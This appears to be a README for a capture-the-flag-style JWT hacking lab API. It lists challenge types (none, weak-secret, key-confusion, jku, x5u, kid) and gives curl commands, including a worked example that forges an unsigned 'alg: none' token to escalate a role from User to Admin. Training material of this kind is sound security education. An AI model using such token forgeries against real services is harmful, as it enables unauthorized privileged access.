---
# System prepended metadata

title: Untitled

---

# JWT Hacking
Each one of these challenges an attacker can alter a JWT token.  To successfully complete these challenges, you must solve the challenge by forging a JWT and sending it back to the API.  If you are successful, the API 
will display a success message.

### NOTE:
Sending back an unaltered JWT will display it being valid, but yet you did not hack anything.  To get credit, you must change your role from `User` to `Admin` in the token.  When it prints a success message, it will 
show your Role.  

Your role in the success message must show `Admin` (or at the very least any value which is not `User` ) to get credit.

## Basic Usage
The API can be interacted with simply using curl.

* Basic request
```
curl https://jwt.ethicalhacking.academy/
```
* help document
```
curl  https://jwt.ethicalhacking.academy/helpme
```
 - All POST bodies must be json formatted.  
 - All POST requests must set the `content-type` request header: `application/json'` 
 - For inititating a JWT challenge, POST the following JSON struct to path `/jwt`, where `${CHALLENGE_ID}` is the Id of the challenge (more below)
 
 
## Attempting/Solving Challenges

Challenges are initiated by calling the `/jwt` path with a payload `{"attack": "${CHALLENGE_ID}"}` specifying the attack you wish to attempt

Challenges are solved by calling the `/jwt/{CHALLENG_ID}` path with a payload `{"jwt_token": "${JWT}"}`

* initiating a challenge
 
```
curl -X POST -H "content-type: application/json" -d '{"attack": "${CHALLENGE_ID}"}' https://jwt.ethicalhacking.academy/jwt

```

* solving a challenge

```
curl -X POST -H "content-type: application/json" -d '{"jwt_token": "${JWT}"}' https://jwt.ethicalhacking.academy/jwt/${CHALLENG_ID}
```

## Supported CHALLENGE_ID Values
Supported values for `${CHALLENGE_ID}`
- none
- weak-secret
- key-confusion
- key-injection
- jku
- x5u
- kid00

## Examples

Starting a challenge of type `none` and attempting to solve it

* request to start `none` challenge
```
curl -X POST -H "content-type: application/json" -d '{"attack": "none"}' https://jwt.ethicalhacking.academy/jwt
```
* response to request to start `none` challenge
```
{
    "jwt": 
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdG5hbWUiOiJIYXJyaWVyIiwibGFzdG5hbWUiOiJEdSBCb2lzIiwiYWNjb3VudCI6IkhhcnJ5RHVCb2lzIiwicm9sZSI6IlVzZXIiLCJpYXQiOjE2OTg4ODIxODUsImF1ZCI6Imh0dHBzOi8vand0LmV0aGljYWxoYWNraW5nLmFjYWRlbXkvand0L25vbmUifQ.hwKmfHOW9TKOXe0XqYKfliFo4unTYD8uTQ679LVN8cM",
    "endpoint": "https://jwt.ethicalhacking.academy/jwt/none"
}
```

* Example unsuccessful attempt to solve `none` challenge
```
curl -X POST -H "content-type: application/json" -d '{"jwt_token": 
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdG5hbWUiOiJoZWxsbyIsImxhc3RuYW1lIjoiRHUgQm9pcyIsImFjY291bnQiOiJIYXJyeUR1Qm9pcyIsInJvbGUiOiJVc2VyIiwiaWF0IjoxNjk4ODgyMTg1LCJhdWQiOiJodHRwczovL2p3dC5ldGhpY2FsaGFja2luZy5hY2FkZW15L2p3dC9ub25lIn0.5oVTyBWOOUR8jAfOL-l1Rc3maoEcKQPUrPckilxD7wM"}' 
https://jwt.ethicalhacking.academy/jwt/none


{
    "name": "JsonWebTokenError",
    "message": "invalid signature"
}
```
* Example successful attempt to solve `none` challenge
```
curl -X POST -H "content-type: application/json" -d '{"jwt_token": 
"eyJhbCCiOiJub25lIiwiAAlwLLoiSldUIn0.eyJmaXJzdG5hbWUiOiJIYXJZZWVyIiwibGFzdG5hbWUiOiJEdSBCb2lzIiwiYWNjb3VudCI6IkhhcnJ5RHVCb2lzIiwicm9sZSI6IkFkbWluIiwiaWF0IjoxNjk4ODgyNTI5LCJhdWQiOiJodHRwczovL2p3dC5ldGhpY2FsaGFja2luZy5hY2FkZW15L2p3dC9ub25lIn0."}' 
https://jwt.ethicalhacking.academy/jwt/none

{
    "message": "Wed, 01 Nov 2023 23:31:35 GMTCongrats!! You've solved the JWT challenge!!",
    "jwt_token": {
        "header": {
            "alg": "none",
            "typ": "JWT"
        },
        "payload": {
            "firstname": "Harrier",
            "lastname": "Du Bois",
            "account": "HarryDuBois",
            "role": "Admin",
            "iat": 1698882529,
            "aud": "https://jwt.ethicalhacking.academy/jwt/none"
        },
        "signature": ""
    }
}
```
